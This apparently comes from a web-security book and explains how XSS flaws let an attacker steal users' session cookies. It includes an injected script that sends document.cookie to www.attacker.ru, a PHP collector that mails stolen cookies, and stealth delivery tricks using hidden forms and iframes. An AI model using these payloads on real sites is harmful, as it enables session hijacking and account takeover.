Obtaining Users Cookies

Obtaining Users' Cookies

Both the first and the second types of the XSS vulnerability can be exploited to obtain the users' cookies. In some cases, the cookie of a target user such as the system administrator can be obtained.

As I told you earlier, COOKIE parameters can contain various data used for user authentication. That is, obtaining cookie data allows a malicious person to authenticate in the system, pretending to be the user whose cookie he or she has stolen.

This attack is possible because the cookie property of the document object contains COOKIE values in the context of the current site. To be more precise, document. cookie contains URL-encoded COOKIE parameters in the following format:

 namel=valuel; name2=value2 

When an XSS vulnerability is on a page of the target site, the attacker can steal the COOKIE values by writing a JavaScript script that sends him or her these values.

If the document. cookie value is sent as an HTTP GET parameter to a script, sometimes it will be necessary to URL-encode this document. cookie value before inserting it as the value of the HTTP GET parameter. To do this, the attacker can use the escape() JavaScript function.

So, if the total size of COOKIE names and values of a site isn't large, they can be sent with the HTTP GET method. To send them, the attacker can either open a document in a new window and send it the COOKIE parameters or create an image and pass it the document. cookie value inside the HTTP GET parameter.

Consider an example:

 <script>    idata = new Image;    idata.src="http://www.attacker.ru/    cookie.php?cook="+escape(document.cookie);    </script> 

Note 

With http://localhost/5/3.php , you can set test values of a cookie in the context of http://localhost/ .

For the COOKIE values set with the http://localhost/5/3.php script, the document.cookie string will look as follows :

 testl=testlvalue; test2=%D2%E5%Fl%F2%EE%E2%FB%E5 COOKIE    %E7%ED%EO%F7%E5%ED%E8%FF; test3=abcde%26gfda%3Dg45f s%3Ffgd%3B    dfdf%3Ddfdf 

Here is a script that decodes a received HTTP GET parameter and extracts COOKIE parameters from it.

http://localhost/5/cookie.php

 <?  $cook=$_GET['cook'];  $cooks=explode("; ", $cook);  $text="";  if(!empty($cooks)) foreach($cooks as $k => $v)  {    if(preg_match("/^(.*?)\=(.*)$/", $v, $r))      $text.=urldecode($r[1])."=".urldecode($r[2])."\r\n";    else $text.="cannot decode $v";  }  mail ("[e-mail]", "cook", $text); ?> 

In some cases, the attacker doesn't even need to decode the received string to obtain COOKIE values. It would suffice to put it unchanged into the file where the browser stores COOKIE values.

When there is an XSS vulnerability of the first type, where information is output to third-party users without filtration, the attacker can collect the account information of all visitors of this page and then select the account of the target user.

This attack will be especially effective when the attacker needs the account information of at least one user.

In some cases, when it is possible to send unfiltered data to the target user (e.g., when an attacker can send a private message to a particular user on a forum), a targeted attack can be launched. In other words, the attacker can obtain the account information of the target user.

When there is an XSS vulnerability of the second type that is, HTTP GET parameters aren't filtered the attacker has to send the target user a link that contains an URL exploiting the XSS vulnerability with a script. The link should contain appropriate JavaScript code.

To prevent the user from guessing that the link implements malicious actions, the attacker would likely URL-encode all HTTP GET parameters. URL encoding requires certain characters to be encoded. However, each character can be encoded by replacing it with the %xx string, where xx is the hexadecimal code of the character.

If the resulting string is too long, the attacker can embed into the HTTP GET parameter a link to a JavaScript document located on another server, rather than embedding the entire JavaScript code into the HTTP GET parameter:

 <script src=http://www.attacker.ru/x.js> </script> 

In this case, all malicious actions are performed by the http://www.attacker.ru/x.js script.

Note that although the document was loaded from a third-party server, the JavaScript code contained in the document can access the cookie set by the target server.

This method can be used when it is impossible to embed the entire JavaScript code into a message. The method allows the attacker to circumvent some types of filtration and is useful in a few other cases.

However, it has drawbacks. The user can disable the execution of scripts loaded from other servers in his or her browser or run applications that bar the execution of such scripts. In addition, the malicious server can be unavailable.

When a vulnerability is in HTTP GET parameters or even in headers of an HTTP request, the attacker needs to lure the user to a malicious HTML page containing a form with hidden fields and parameters exploiting the XSS vulnerability of the target site. In addition, the action parameter of the form should contain the address of the vulnerable page on the target server. The form is sent automatically with JavaScript tools after the page is loaded.

If, for example, a vulnerability is in the Referer header, the script can create a malicious Referer. First, it will redirect the user to the URL that should be contained in the Referer header controlled by the attacker, and then it will redirect the user to the vulnerable script.

This method can be used in other cases when it is necessary to avoid sending a user a link to a target site to prevent the user from suspecting the link.

The attacker can exploit the vulnerability imperceptibly to the user. To do this, he or she just needs to put a frame or iframe element on the invisible layer on the target page and specify this element in the target parameter of the sent form.

In addition, the attacker can use other methods for concealing the execution of JavaScript code and exploitation of the vulnerability that are described earlier in this chapter.

Here are examples of how different browsers store cookies. Mozilla, FireFox, and Netscape store all cookies in one file, COOKIES.TXT, located in the user profile folder. To change or add a cookie, you should exit the browser, edit this file, and restart the browser. Microsoft Internet Explorer stores cookies in the . /cookies/ directory next to temporary Internet files. To edit a cookie, you should edit the file corresponding to the desired site.

In addition, special utilities allow you to edit cookies in real time.

Using these methods, a malicious user can steal cookies and set appropriate COOKIE parameters to authenticate as a valid user.